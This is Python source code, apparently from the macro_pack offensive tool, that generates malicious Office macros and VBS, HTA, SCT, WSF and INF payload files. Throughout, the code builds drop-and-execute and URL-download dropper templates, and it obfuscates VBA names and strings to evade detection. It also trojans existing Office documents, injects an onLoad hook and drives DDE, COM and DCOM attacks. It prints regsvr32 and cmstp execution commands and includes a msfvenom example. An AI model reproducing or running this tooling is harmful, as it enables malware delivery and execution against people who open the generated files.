def _processEmbedExeTemplate(self): # open file containing template values cmdFile = self.getCMDFile() if cmdFile is None or cmdFile == "": extractedFilePath = utils.randomAlpha(5)+os.path.splitext(self.mpSession.embeddedFilePath)[1] else: f = open(cmdFile, 'r') params = shlex.split(f.read()) extractedFilePath = params[0] f.close() logging.info(" [-] Output path when file is extracted: %s" % extractedFilePath) content = vbLib.templates.EMBED_EXE content = content.replace("<<<OUT_FILE>>>", extractedFilePath) #top + next + then1 + sub_proc+ sub_open # generate random file name vbaFile = os.path.abspath(os.path.join(self.workingPath,utils.randomAlpha(9)+".vba")) logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) # Write in new file f = open(vbaFile, 'w') f.write(content) f.close() if os.path.isfile(cmdFile): os.remove(cmdFile) logging.info(" [-] OK!")
def run(self): logging.info(" [+] VBA strings obfuscation ...") for vbaFile in self.getVBAFiles(): # Compute new random function and variable names for HexToStr newFunctionName = randomAlpha(12) newVarName1 = randomAlpha(12) newVarName2 = randomAlpha(12) f = open(vbaFile) content = f.readlines() f.close() # Split string content = self._splitStrings(content) # mask string content = self._maskStrings(content, newFunctionName) # Write in new file f = open(vbaFile, 'w') f.writelines(content) f.write( self.hexToStringRoutine.replace( "HexToStr", newFunctionName).replace( "counter", newVarName1).replace("hexString", newVarName2)) f.close() logging.info(" [-] OK!")
def generate(self): logging.info(" [+] Generating %s file..." % self.outputFileType) # Fill template infContent = INF_TEMPLATE if not self.mpSession.dosCommand: if str(self.targetPath).lower().endswith(".dll"): logging.info(" [-] Target is DLL...") # Ex to generate calc launching dll (OCX payload for 64bit PC: # msfvenom -p windows/x64/exec cmd=calc.exe -f dll -o calc64.dll infContent = infContent.replace("<<<TARGET_PATH>>>", "%s" % self.targetPath) infContent = infContent.replace("<<<SECTION_TYPE>>>", "UnRegisterOCXs") elif str(self.targetPath).lower().endswith(".sct"): logging.info(" [-] Target is Scriptlet file...") infContent = infContent.replace( "<<<TARGET_PATH>>>", "%%11%%\\scrobj.dll,NI,%s" % self.targetPath) infContent = infContent.replace("<<<SECTION_TYPE>>>", "UnRegisterOCXs") elif str(self.targetPath).lower().endswith(".exe"): logging.info(" [-] Target is exe file...") infContent = infContent.replace("<<<TARGET_PATH>>>", self.targetPath) infContent = infContent.replace("<<<SECTION_TYPE>>>", "RunPreSetupCommands") else: logging.warn( " [!] Could not recognize extension, assuming executable file or command line." ) infContent = infContent.replace("<<<TARGET_PATH>>>", self.mpSession.dosCommand) infContent = infContent.replace("<<<SECTION_TYPE>>>", "RunPreSetupCommands") else: logging.warn(" [-] Target is command line.") infContent = infContent.replace("<<<TARGET_PATH>>>", self.mpSession.dosCommand) infContent = infContent.replace("<<<SECTION_TYPE>>>", "RunPreSetupCommands") # Randomize mandatory info infContent = infContent.replace("<<<SECTION_NAME>>>", randomAlpha(8)) infContent = infContent.replace("<<<SERVICE_NAME>>>", randomAlpha(8)) # Write in new file f = open(self.outputFilePath, 'w') f.writelines(infContent) f.close() logging.info(" [-] Generated %s file path: %s" % (self.outputFileType, self.outputFilePath)) logging.info(" [-] Test with : cmstp.exe /ns /s %s\n" % self.outputFilePath)
def testVBGenerators(): """ will run test of MS Office and VBS based formats The tests consist into creating the documents, then running them triggering a file creation macro. Then checking the file is well created The tests are run in both cleartext and obfuscated mode. A third test will check the correct generation of CMD template (pop calc.exe and check it) """ result = True vbaTestFile = "testmacro.vba" logging.info(" [+] Build macro test file...") with open(vbaTestFile, 'w') as outfile: outfile.write(VBA) for testFormat in MSTypes.VB_FORMATS: testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat] try: _clearTextVBGenerationTest(testFile, testFormat) except: result = False testSummary[testFormat + " in Clear Text"] = "[KO]" logging.exception(" [!] Error!\n") if os.path.isfile(testFile): os.remove(testFile) testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat] try: _obfuscatedVBGenerationTest(testFile, testFormat) except: result = False testSummary[testFormat + " obfuscated"] = "[KO]" logging.exception(" [!] Error!\n") if os.path.isfile(testFile): os.remove(testFile) testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat] try: _obfuscatedVBCmdTemplateGenerationTest(testFile, testFormat) except: result = False testSummary[testFormat + " CMD template"] = "[KO]" logging.exception(" [!] Error!\n") try: if os.path.isfile(testFile): os.remove(testFile) except: logging.exception(" [!] Error while attempting to remove %s!\n" % testFile) os.remove(vbaTestFile) return result
def generate(self): logging.info(" [+] Generating %s file..." % self.outputFileType) self.vbScriptConvert() f = open(self.getMainVBAFile() + ".vbs") vbsContent = f.read() f.close() vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ") # Write VBS in template sctContent = SCT_TEMPLATE sctContent = sctContent.replace("<<<random>>>", randomAlpha(8)) sctContent = sctContent.replace("<<<CLS1>>>", ''.join([ random.choice('0123456789ABCDEF') for x in range(8) ])) # @UnusedVariable sctContent = sctContent.replace("<<<CLS4>>>", ''.join([ random.choice('0123456789ABCDEF') for x in range(12) ])) # @UnusedVariable sctContent = sctContent.replace("<<<VBS>>>", vbsContent) sctContent = sctContent.replace("<<<MAIN>>>", self.startFunction) # Write in new HTA file f = open(self.outputFilePath, 'w') f.writelines(sctContent) f.close() logging.info(" [-] Generated Scriptlet file: %s" % self.outputFilePath) logging.info( " [-] Test with : \nregsvr32 /u /n /s /i:%s scrobj.dll\n" % self.outputFilePath) if os.path.getsize(self.outputFilePath) > (1024 * 512): logging.warning( " [!] Warning: The resulted %s file seems to be bigger than 512k, it will probably not work!" % self.outputFileType)
def _processEmbedExeTemplate(self): """ Drop and execute embedded file """ paramArray = [MPParam("Command line parameters", optional=True)] self.fillInputParams2(paramArray) # generate random file name fileName = utils.randomAlpha(7) + os.path.splitext( self.mpSession.embeddedFilePath)[1] logging.info(" [-] File extraction path: %%temp%%\\%s" % fileName) # Add required functions self.addVBLib(vbLib.WscriptExec) self.addVBLib(vbLib.WmiExec) self.addVBLib(vbLib.ExecuteCMDAsync) content = vbLib.templates.EMBED_EXE content = content.replace("<<<FILE_NAME>>>", fileName) if getParamValue(paramArray, "Command line parameters") != "": content = content.replace( "<<<PARAMETERS>>>", " & \" %s\"" % getParamValue(paramArray, "Command line parameters")) else: content = content.replace("<<<PARAMETERS>>>", "") vbaFile = self.addVBAModule(content) logging.debug(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) logging.info(" [-] OK!")
def _replaceConsts(self, macroLines): # Identify and replace constants constList = ["0", "1", "2"] for constant in constList: # Create random string to replace constant keyTmp = randomAlpha(10) constDeclaration = "Const " + keyTmp + " = " + constant + "\n" macroLines.insert(0, constDeclaration) newKeyWord = " " + keyTmp + ", " keywordTmp = " " + constant + ", " for n, line in enumerate(macroLines): macroLines[n] = line.replace(keywordTmp, newKeyWord) newKeyWord = "," + keyTmp + "," keywordTmp = "," + constant + "," for n, line in enumerate(macroLines): macroLines[n] = line.replace(keywordTmp, newKeyWord) newKeyWord = ", " + keyTmp + ")" keywordTmp = ", " + constant + ")" for n, line in enumerate(macroLines): macroLines[n] = line.replace(keywordTmp, newKeyWord) newKeyWord = "(" + keyTmp + "," keywordTmp = "(" + constant + "," for n, line in enumerate(macroLines): macroLines[n] = line.replace(keywordTmp, newKeyWord) return macroLines
def _processDropper2Template(self): """ Generate DROPPER2 template for VBA and VBS based """ # Get required parameters realPathKey = "File name in TEMP or full file path (environment variables can be used)." paramArray = [ MPParam("target_url"), MPParam(realPathKey, optional=True) ] self.fillInputParams2(paramArray) downloadPath = getParamValue(paramArray, realPathKey) targetUrl = getParamValue(paramArray, "target_url") # build target path if downloadPath == "": downloadPath = utils.randomAlpha(8) + os.path.splitext( targetUrl)[1] downloadPath = self._targetPathToVba(downloadPath) # Add required functions self.addVBLib(vbLib.WscriptExec) self.addVBLib(vbLib.WmiExec) self.addVBLib(vbLib.ExecuteCMDAsync) content = vbLib.templates.DROPPER2 content = content.replace("<<<URL>>>", targetUrl) content = content.replace("<<<DOWNLOAD_PATH>>>", downloadPath) # generate random file name vbaFile = self.addVBAModule(content) logging.debug(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) logging.info(" [-] OK!")
def generate(self): logging.info(" [+] Generating %s file..." % self.outputFileType) self.vbScriptConvert() f = open(self.getMainVBAFile() + ".vbs") vbsContent = f.read() f.close() #vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ") # Write VBS in template wsfContent = WSF_TEMPLATE wsfContent = wsfContent.replace("<<<random>>>", randomAlpha(8)) wsfContent = wsfContent.replace("<<<VBS>>>", vbsContent) wsfContent = wsfContent.replace("<<<MAIN>>>", self.startFunction) # Write in new HTA file f = open(self.outputFilePath, 'w') f.writelines(wsfContent) f.close() logging.info(" [-] Generated Windows Script File: %s" % self.outputFilePath) logging.info(" [-] Test with : \nwscript %s\n" % self.outputFilePath) if os.path.getsize(self.outputFilePath) > (1024 * 512): logging.warning( " [!] Warning: The resulted %s file seems to be bigger than 512k, it will probably not work!" % self.outputFileType)
def addVBAModule(self, moduleContent): """ Add a new VBA module file containing moduleContent and with random name """ newModuleName = os.path.join(self.workingPath, utils.randomAlpha(9) + ".vba") f = open(newModuleName, 'w') f.write(moduleContent) f.close()
def _injectCustomUi(self): customUIfile = utils.randomAlpha(8)+".xml" # Generally something like customUI.xml customUiContent = \ """<customUI xmlns="http://schemas.microsoft.com/office/2006/01/customui" onLoad="AutoOpen" ></customUI>""" relationShipContent = \ """<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/thumbnail" Target="docProps/thumbnail.jpeg"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="ppt/presentation.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="%s" Type="http://schemas.microsoft.com/office/2007/relationships/ui/extensibility" Target="/customUI/%s" /></Relationships>""" \ % ("rId5", customUIfile) generatedFile = self.outputFilePath # 0 copy file to temp dir fileCopy = shutil.copy2(generatedFile, self.workingPath) # 1 extract zip file in temp working dir zipDir = os.path.join(self.workingPath, "zip") zipTest = ZipFile(fileCopy) zipTest.extractall(zipDir) # 2 Set customUi customUiDir = os.path.join(zipDir, "customUI") if not os.path.exists(customUiDir): os.makedirs(customUiDir) customUiFile = os.path.join(customUiDir, customUIfile) with open (customUiFile, "w") as f: f.write(customUiContent) # 3 Set relationships relsFile = os.path.join(zipDir, "_rels", ".rels") with open (relsFile, "w") as f: f.write(relationShipContent) # 3 Recreate archive shutil.make_archive(os.path.join(self.workingPath,"rezipped_archive"), format="zip", root_dir=os.path.join(self.workingPath, "zip")) # 4 replace file os.remove(generatedFile) shutil.copy2(os.path.join(self.workingPath,"rezipped_archive.zip"), generatedFile)
def genSCT(self): logging.info(" [-] Generating Scriptlet file...") f = open(self.getMainVBAFile() + ".vbs") vbsContent = f.read() f.close() vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ") # Write VBS in template sctContent = SCT_TEMPLATE sctContent = sctContent.replace("<<<random>>>", randomAlpha(8)) sctContent = sctContent.replace( "<<<CLS1>>>", ''.join([random.choice('0123456789ABCDEF') for x in range(8)])) sctContent = sctContent.replace( "<<<CLS4>>>", ''.join([random.choice('0123456789ABCDEF') for x in range(12)])) sctContent = sctContent.replace("<<<VBS>>>", vbsContent) sctContent = sctContent.replace("<<<MAIN>>>", self.startFunction) # Write in new HTA file f = open(self.outputFilePath, 'w') f.writelines(sctContent) f.close() logging.info(" [-] Generated Scriptlet file: %s" % self.outputFilePath)
def _replaceFunctions(self, macroLines): # Identify function, subs and variables names logging.info(" [-] Rename functions...") keyWords = [] for line in macroLines: matchObj = re.match( r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*\(.*\).*', line, re.M | re.I) if matchObj: keyword = matchObj.groups()[1] if keyword not in self.reservedFunctions: keyWords.append(keyword) self.reservedFunctions.append(keyword) # Replace functions and function calls by random string for keyWord in keyWords: keyTmp = randomAlpha(randint( 8, 20)) # Generate random names with random size for n, line in enumerate(macroLines): matchObj = re.match(r'.*".*%s.*".*' % keyWord, line, re.M | re.I) # check if word is inside a string if matchObj: if "Application.Run" in line: # dynamic function call detected macroLines[n] = line.replace(keyWord, keyTmp) # else word is part of normal string so we do not touch else: macroLines[n] = line.replace(keyWord, keyTmp) return macroLines
def _replaceLibImports(self, macroLines): # Identify function, subs and variables names keyWords = [] for line in macroLines: matchObj = re.match( r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"\s*.*', line, re.M | re.I) if matchObj: keyword = matchObj.groups()[1] keyWords.append(keyword) # Remove duplicates keyWords = list(set(keyWords)) # Replace functions and function calls by random string for keyWord in keyWords: keyTmp = randomAlpha(randint( 8, 20)) # Generate random names with random size #logging.debug("Keyword:%s,keyTmp:%s "%(keyWord,keyTmp)) for n, line in enumerate(macroLines): if "Lib " in line and keyWord + " " in line: # take care of declaration if "Alias " in line: # if fct already has an alias we can change the original keyword #logging.debug(line) macroLines[n] = line.replace(" %s " % keyWord, " %s " % keyTmp, 1) #logging.debug(macroLines[n]) else: # We have to create a new alias matchObj = re.match( r'.*(Sub|Function)\s*([a-zA-Z0-9_]+)\s*Lib\s*"(.+)"(\s*).*', line, re.M | re.I) #logging.debug(line) line = line.replace(" %s " % keyWord, " %s " % keyTmp) #logging.debug(line+"\n") macroLines[n] = line.replace( matchObj.groups()[2], matchObj.groups()[2] + "\" Alias \"%s" % keyWord) else: matchObj = re.match( r'.*".*%s.*".*' % keyWord, line, re.M | re.I) # check if word is inside a string if matchObj: if "Application.Run" in line: # dynamic function call detected macroLines[n] = line.replace(keyWord, keyTmp) # else word is part of normal string so we do not touch else: if keyWord + " " in line or keyWord + "(" in line: #logging.debug(line) macroLines[n] = line.replace(keyWord, keyTmp) #logging.debug(macroLines[n]) #else: # macroLines[n] = line.replace(keyWord, keyTmp) return macroLines
def addVBAModule(self, moduleContent, moduleName=None): """ Add a new VBA module file containing moduleContent and with random name Returns name of new VBA file """ if moduleName is None: moduleName = utils.randomAlpha(9) modulePath = os.path.join(self.workingPath, moduleName + ".vba") else: modulePath = os.path.join(self.workingPath, utils.randomAlpha(9) + ".vba") if moduleName in self.mpSession.vbModulesList: logging.debug(" [,] %s module already loaded" % moduleName) else: self.mpSession.vbModulesList.append(moduleName) f = open(modulePath, 'w') f.write(moduleContent) f.close() return modulePath
def _fillGenericTemplate(self, content, values): for value in values: content = content.replace("<<<TEMPLATE>>>", value, 1) # generate random file name vbaFile = os.path.abspath(os.path.join(self.workingPath,utils.randomAlpha(9)+".vba")) logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) # Write in new file f = open(vbaFile, 'w') f.write(content) f.close()
def _replaceFunctions(self): # Identify function, subs and variables names self._findAllFunctions() # Different situation surrounding variables varDelimitors = [(" ", " "), ("\t", " "), ("\t", "("), ("\t", " ="), (" ", "("), ("(", "("), (" ", "\n"), (" ", ","), (" ", " ="), (".", " "), (".", "\"")] # Replace functions and function calls by random string for keyWord in self.vbaFunctions: keyTmp = randomAlpha(randint( 8, 20)) # Generate random names with random size self.reservedFunctions.append(keyTmp) for vbaFile in self.getVBAFiles(): if self.mpSession.obfOnlyMain: if vbaFile != self.getMainVBAFile(): continue f = open(vbaFile) content = f.readlines() f.close() for varDelimitor in varDelimitors: newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1] keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1] for n, line in enumerate(content): #if "GetBuffer" in line: #if keyWord == "StrEncoder": #logging.info("|%s|->|%s|" %(keywordTmp,newKeyWord)) #if keywordTmp in line: # logging.info("line: %s" % (line)) # logging.info("Found %s, new keyword will be %s" % (keywordTmp,newKeyWord)) extractedStrings = extractStringsFromText(line) #if extractedStrings != "": # logging.info(extractedStrings) """ matchObj = re.match( r'.*".*%s.*".*' %keyWord, line, re.M|re.I) # check if word is inside a string if matchObj:""" if keyWord in extractedStrings: if "Application.Run" in line or "Application.OnTime" in line: # dynamic function call detected content[n] = line.replace( keywordTmp, newKeyWord) else: content[n] = line.replace(keywordTmp, newKeyWord) # Write in new file f = open(vbaFile, 'w') f.writelines(content) f.close()
def run(self): logging.info(" [+] Prepare %s file generation..." % self.outputFileType) if not self.check(): return # Embed file if asked if self.embeddedFilePath: idTag = utils.randomAlpha(10) self.embedFile(idTag) self.runObfuscators() self.generate()
def _replaceVariables(self, macroLines): logging.info(" [-] Rename variables...") # variables names keyWords = [] # format something As ... for line in macroLines: findList = re.findall( r'([a-zA-Z0-9_]+)\s+As\s+(String|Integer|Long|Object|Byte|Variant|Boolean|Any|Word.Application|Excel.Application)', line, re.I) if findList: for keyWord in findList: if keyWord[ 0] not in self.reservedFunctions: # prevent erase of previous variables and function names keyWords.append(keyWord[0]) self.reservedFunctions.append(keyWord[0]) # format Set <something> = ... for line in macroLines: findList = re.findall(r'Set\s+([a-zA-Z0-9]+)\s+=', line, re.I) if findList: for keyWord in findList: if keyWord not in self.reservedFunctions: # prevent erase of previous variables and function names keyWords.append(keyWord) self.reservedFunctions.append(keyWord) #logging.info(str(keyWords)) # Different situation surrounding variables varDelimitors = [(" ", " "), (" ", "."), (" ", "("), (" ", "\n"), (" ", ","), (" ", ")"), (" ", " =")] varDelimitors.extend([("\t", " "), ("\t", "."), ("\t", "("), ("\t", "\n"), ("\t", ","), ("\t", ")"), ("\t", " =")]) varDelimitors.extend([("(", ")"), ("(", ","), ("(", " +"), ("(", " As"), ("(", ".")]) varDelimitors.extend([("=", " "), ("=", ","), ("=", "\n"), ("Set ", " =")]) # replace all keywords by random name for keyWord in keyWords: keyTmp = randomAlpha(randint( 8, 20)) # Generate random names with random size #logging.info("|%s|->|%s|" %(keyWord,keyTmp)) for varDelimitor in varDelimitors: newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1] keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1] for n, line in enumerate(macroLines): macroLines[n] = line.replace(keywordTmp, newKeyWord) return macroLines
def _processEmbedExeTemplate(self): """ Drop and execute embedded file """ # generate random file name fileName = utils.randomAlpha(7) + os.path.splitext( self.mpSession.embeddedFilePath)[1] logging.info(" [-] File extraction path: %%temp%%\\%s" % fileName) # Add required functions self.addVBLib(vbLib.WscriptExec) self.addVBLib(vbLib.WmiExec) self.addVBLib(vbLib.ExecuteCMDAsync) content = vbLib.templates.EMBED_EXE content = content.replace("<<<FILE_NAME>>>", fileName) vbaFile = self.addVBAModule(content) logging.debug(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) logging.info(" [-] OK!")
def testLnkGenerators(): result = True for testFormat in MSTypes.Shortcut_FORMATS: testFile = utils.randomAlpha(8) + MSTypes.EXTENSION_DICT[testFormat] try: logging.info(" [+] Testing generation of %s file..." % testFormat) os.system("echo shortcut_dest icon_file | %s %s -G %s -q" % (sys.executable, MP_MAIN, testFile)) assert (os.path.isfile(testFile)) logging.info(" [-] Success!\n") testSummary[testFormat] = "[OK]" except: result = False testSummary[testFormat] = "[KO]" logging.exception(" [!] Error!\n") if os.path.isfile(testFile): os.remove(testFile) return result
def _processEmbedExeTemplate(self): # open file containing template values cmdFile = self.getCMDFile() if cmdFile is None or cmdFile == "": extractedFilePath = utils.randomAlpha(5)+os.path.splitext(self.mpSession.embeddedFilePath)[1] else: f = open(cmdFile, 'r') params = shlex.split(f.read()) extractedFilePath = params[0] f.close() logging.info(" [-] Output path when file is extracted: %s" % extractedFilePath) content = vbLib.templates.EMBED_EXE content = content.replace("<<<OUT_FILE>>>", extractedFilePath) vbaFile = self.addVBAModule(content) logging.info(" [-] Template %s VBA generated in %s" % (self.template, vbaFile)) if os.path.isfile(cmdFile): os.remove(cmdFile) logging.info(" [-] OK!")
def _replaceFunctions(self): # Identify function, subs and variables names logging.info(" [-] Rename functions...") self._findAllFunctions() # Different situation surrounding variables varDelimitors = [(" ", " "), ("\t", " "), ("\t", "("), (" ", "("), (" ", "\n"), (" ", ","), (" ", " ="), (".", " "), (".", "\"")] # Replace functions and function calls by random string for keyWord in self.vbaFunctions: keyTmp = randomAlpha(randint( 8, 20)) # Generate random names with random size #logging.info("|%s|->|%s|" %(keyWord,keyTmp)) self.reservedFunctions.append(keyTmp) for vbaFile in self.getVBAFiles(): f = open(vbaFile) content = f.readlines() f.close() for varDelimitor in varDelimitors: newKeyWord = varDelimitor[0] + keyTmp + varDelimitor[1] keywordTmp = varDelimitor[0] + keyWord + varDelimitor[1] for n, line in enumerate(content): matchObj = re.match( r'.*".*%s.*".*' % keyWord, line, re.M | re.I) # check if word is inside a string if matchObj: if "Application.Run" in line: # dynamic function call detected content[n] = line.replace( keywordTmp, newKeyWord) else: content[n] = line.replace(keywordTmp, newKeyWord) # Write in new file f = open(vbaFile, 'w') f.writelines(content) f.close()
def generate(self): logging.info(" [+] Generating %s file..." % self.outputFileType) self.vbScriptConvert() f = open(self.getMainVBAFile() + ".vbs") vbsContent = f.read() f.close() #vbsContent = vbsContent.replace("WScript.Echo ", "MsgBox ") # Write VBS in template wsfContent = WSF_TEMPLATE wsfContent = wsfContent.replace("<<<random>>>", randomAlpha(8)) wsfContent = wsfContent.replace("<<<VBS>>>", vbsContent) wsfContent = wsfContent.replace("<<<MAIN>>>", self.startFunction) # Write in new HTA file f = open(self.outputFilePath, 'w') f.writelines(wsfContent) f.close() logging.info(" [-] Generated Windows Script File: %s" % self.outputFilePath) logging.info(" [-] Test with : \nwscript %s\n" % self.outputFilePath)
def main(argv): logLevel = "INFO" # initialize macro_pack session object mpSession = mp_session.MpSession(WORKING_DIR, VERSION, MP_TYPE) try: longOptions = [ "embed=", "listen=", "generate=", "quiet", "input-file=", "encode", "obfuscate", "obfuscate-form", "obfuscate-names", "obfuscate-strings", "file=", "template=", "start-function=", "dde" ] shortOptions = "e:l:s:f:t:G:hqmo" # only for Pro release if MP_TYPE == "Pro": longOptions.extend([ "vbom-encode", "persist", "keep-alive", "av-bypass", "trojan=", "stealth", "dcom=", "background" ]) shortOptions += "T:b" # Only enabled on windows if sys.platform == "win32": longOptions.extend(["run="]) opts, args = getopt.getopt(argv, shortOptions, longOptions) # @UnusedVariable except getopt.GetoptError: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(2) for opt, arg in opts: if opt in ("-o", "--obfuscate"): mpSession.obfuscateForm = True mpSession.obfuscateNames = True mpSession.obfuscateStrings = True elif opt == "--obfuscate-form": mpSession.obfuscateForm = True elif opt == "--obfuscate-names": mpSession.obfuscateNames = True elif opt == "--obfuscate-strings": mpSession.obfuscateStrings = True elif opt == "-s" or opt == "--start-function": mpSession.startFunction = arg elif opt == "-l" or opt == "--listen": mpSession.listen = True mpSession.listenPort = int(arg) elif opt == "-f" or opt == "--input-file": mpSession.vbaInput = arg elif opt == "-e" or opt == "--embed": mpSession.embeddedFilePath = os.path.abspath(arg) elif opt == "-t" or opt == "--template": if arg is None or arg.startswith( "-") or arg == "help" or arg == "HELP": help.printTemplatesUsage(BANNER, sys.argv[0]) sys.exit(0) else: mpSession.template = arg elif opt == "-q" or opt == "--quiet": logLevel = "ERROR" elif opt == "--dde": if sys.platform == "win32": mpSession.ddeMode = True elif opt == "--run": if sys.platform == "win32": mpSession.runTarget = os.path.abspath(arg) elif opt in ("-G", "--generate"): mpSession.outputFilePath = os.path.abspath(arg) elif opt == "-h" or opt == "--help": help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: if MP_TYPE == "Pro": if opt == "--vbom-encode": mpSession.vbomEncode = True elif opt == "--persist": mpSession.persist = True elif opt == "--keep-alive": mpSession.keepAlive = True elif opt == "--av-bypass": mpSession.avBypass = True elif opt == "-T" or opt == "--trojan": # Document generation enabled only on windows if sys.platform == "win32": mpSession.outputFilePath = os.path.abspath(arg) mpSession.trojan = True elif opt == "-b" or opt == "--background": mpSession.background = True elif opt == "--stealth": mpSession.stealth = True elif opt == "--dcom": mpSession.dcom = True mpSession.dcomTarget = arg else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) else: help.printUsage(BANNER, sys.argv[0], mpSession) sys.exit(0) os.system('cls' if os.name == 'nt' else 'clear') # Logging logging.basicConfig(level=getattr(logging, logLevel), format="%(message)s", handlers=[utils.ColorLogFiler()]) logging.info(colored(BANNER, 'green')) logging.info(" [+] Preparations...") # check input args if mpSession.vbaInput is None: # Argument not supplied, try to get file content from stdin if os.isatty(0) == False: # check if something is being piped logging.info(" [-] Waiting for piped input feed...") mpSession.stdinContent = sys.stdin.readlines() else: if not os.path.isfile(mpSession.vbaInput): logging.error(" [!] ERROR: Could not find %s!" % mpSession.vbaInput) sys.exit(2) else: logging.info(" [-] Input file path: %s" % mpSession.vbaInput) if mpSession.trojan == False: # verify that output file does not already exist if mpSession.outputFilePath is not None: if os.path.isfile(mpSession.outputFilePath): logging.error(" [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) else: # In trojan mod, file are tojane if they already exist and created if they dont. # except for vba output which is not concerned by trojan feature if mpSession.outputFilePath is not None and mpSession.outputFileType == MSTypes.VBA: if mpSession.outputFilePath is not None: if os.path.isfile(mpSession.outputFilePath): logging.error( " [!] ERROR: Output file %s already exist!" % mpSession.outputFilePath) sys.exit(2) #Create temporary folder logging.info(" [-] Temporary working dir: %s" % WORKING_DIR) if not os.path.exists(WORKING_DIR): os.makedirs(WORKING_DIR) try: # Create temporary work file. if mpSession.ddeMode or mpSession.template: inputFile = os.path.join(WORKING_DIR, "command.cmd") else: inputFile = os.path.join(WORKING_DIR, utils.randomAlpha(9)) + ".vba" if mpSession.stdinContent is not None: logging.info(" [-] Store std input in file...") f = open(inputFile, 'w') f.writelines(mpSession.stdinContent) f.close() else: # Create temporary work file if mpSession.vbaInput is not None: logging.info(" [-] Store input file...") shutil.copy2(mpSession.vbaInput, inputFile) if os.path.isfile(inputFile): logging.info(" [-] Temporary input file: %s" % inputFile) # Check output file format if mpSession.outputFilePath: logging.info(" [-] Target output format: %s" % mpSession.outputFileType) # Generate template if mpSession.template: if MP_TYPE == "Pro": generator = TemplateGeneratorPro(mpSession) generator.run() else: generator = TemplateToVba(mpSession) generator.run() # MS Office generation/trojan is only enabled on windows if sys.platform == "win32": if mpSession.stealth == True: # Add a new empty module to keep VBA library if we hide other modules # See http://seclists.org/fulldisclosure/2017/Mar/90 genericModule = mp_module.MpModule(mpSession) genericModule.addVBAModule("") if mpSession.trojan == False: if MSTypes.XL in mpSession.outputFileType: generator = ExcelGenerator(mpSession) generator.run() elif MSTypes.WD in mpSession.outputFileType: generator = WordGenerator(mpSession) generator.run() elif MSTypes.PPT in mpSession.outputFileType: generator = PowerPointGenerator(mpSession) generator.run() elif MSTypes.MPP == mpSession.outputFileType: generator = MSProjectGenerator(mpSession) generator.run() elif MSTypes.VSD in mpSession.outputFileType: generator = VisioGenerator(mpSession) generator.run() elif MSTypes.PUB == mpSession.outputFileType and MP_TYPE == "Pro": generator = PublisherGenerator(mpSession) generator.run() else: if MSTypes.XL in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = ExcelTrojan(mpSession) generator.run() else: generator = ExcelGenerator(mpSession) generator.run() if MSTypes.WD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = WordTrojan(mpSession) generator.run() else: generator = WordGenerator(mpSession) generator.run() if MSTypes.PPT in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = PptTrojan(mpSession) generator.run() else: generator = PowerPointGenerator(mpSession) generator.run() if MSTypes.VSD in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = VisioTrojan(mpSession) generator.run() else: generator = VisioGenerator(mpSession) generator.run() if MSTypes.MPP in mpSession.outputFileType: if os.path.isfile(mpSession.outputFilePath): generator = MsProjectTrojan(mpSession) generator.run() else: generator = MSProjectGenerator(mpSession) generator.run() if mpSession.stealth == True: obfuscator = Stealth(mpSession) obfuscator.run() if mpSession.ddeMode: # DDE Attack mode if MSTypes.WD in mpSession.outputFileType: generator = WordDDE(mpSession) generator.run() else: logging.warn( " [!] Word and Word97 are only format supported for DDE attacks." ) if mpSession.runTarget: #run com attack generator = ComGenerator(mpSession) generator.run() if mpSession.dcom: #run dcom attack generator = DcomGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBS: generator = VBSGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.HTA: generator = HTAGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.SCT: generator = SCTGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.WSF: generator = WSFGenerator(mpSession) generator.run() if mpSession.outputFileType == MSTypes.VBA or mpSession.outputFilePath == None: generator = VBAGenerator(mpSession) generator.run() if mpSession.listen: listener = ListenServer(mpSession) listener.run() except Exception: logging.exception(" [!] Exception caught!") logging.error( " [!] Hints: Check if MS office is really closed and Antivirus did not catch the files" ) if sys.platform == "win32": logging.error( " [!] Attempt to force close MS Office applications...") objExcel = win32com.client.Dispatch("Excel.Application") objExcel.Application.Quit() del objExcel objWord = win32com.client.Dispatch("Word.Application") objWord.Application.Quit() del objWord ppt = win32com.client.Dispatch("PowerPoint.Application") ppt.Quit() del ppt logging.info(" [+] Cleaning...") shutil.rmtree(WORKING_DIR) logging.info(" Done!\n") sys.exit(0)
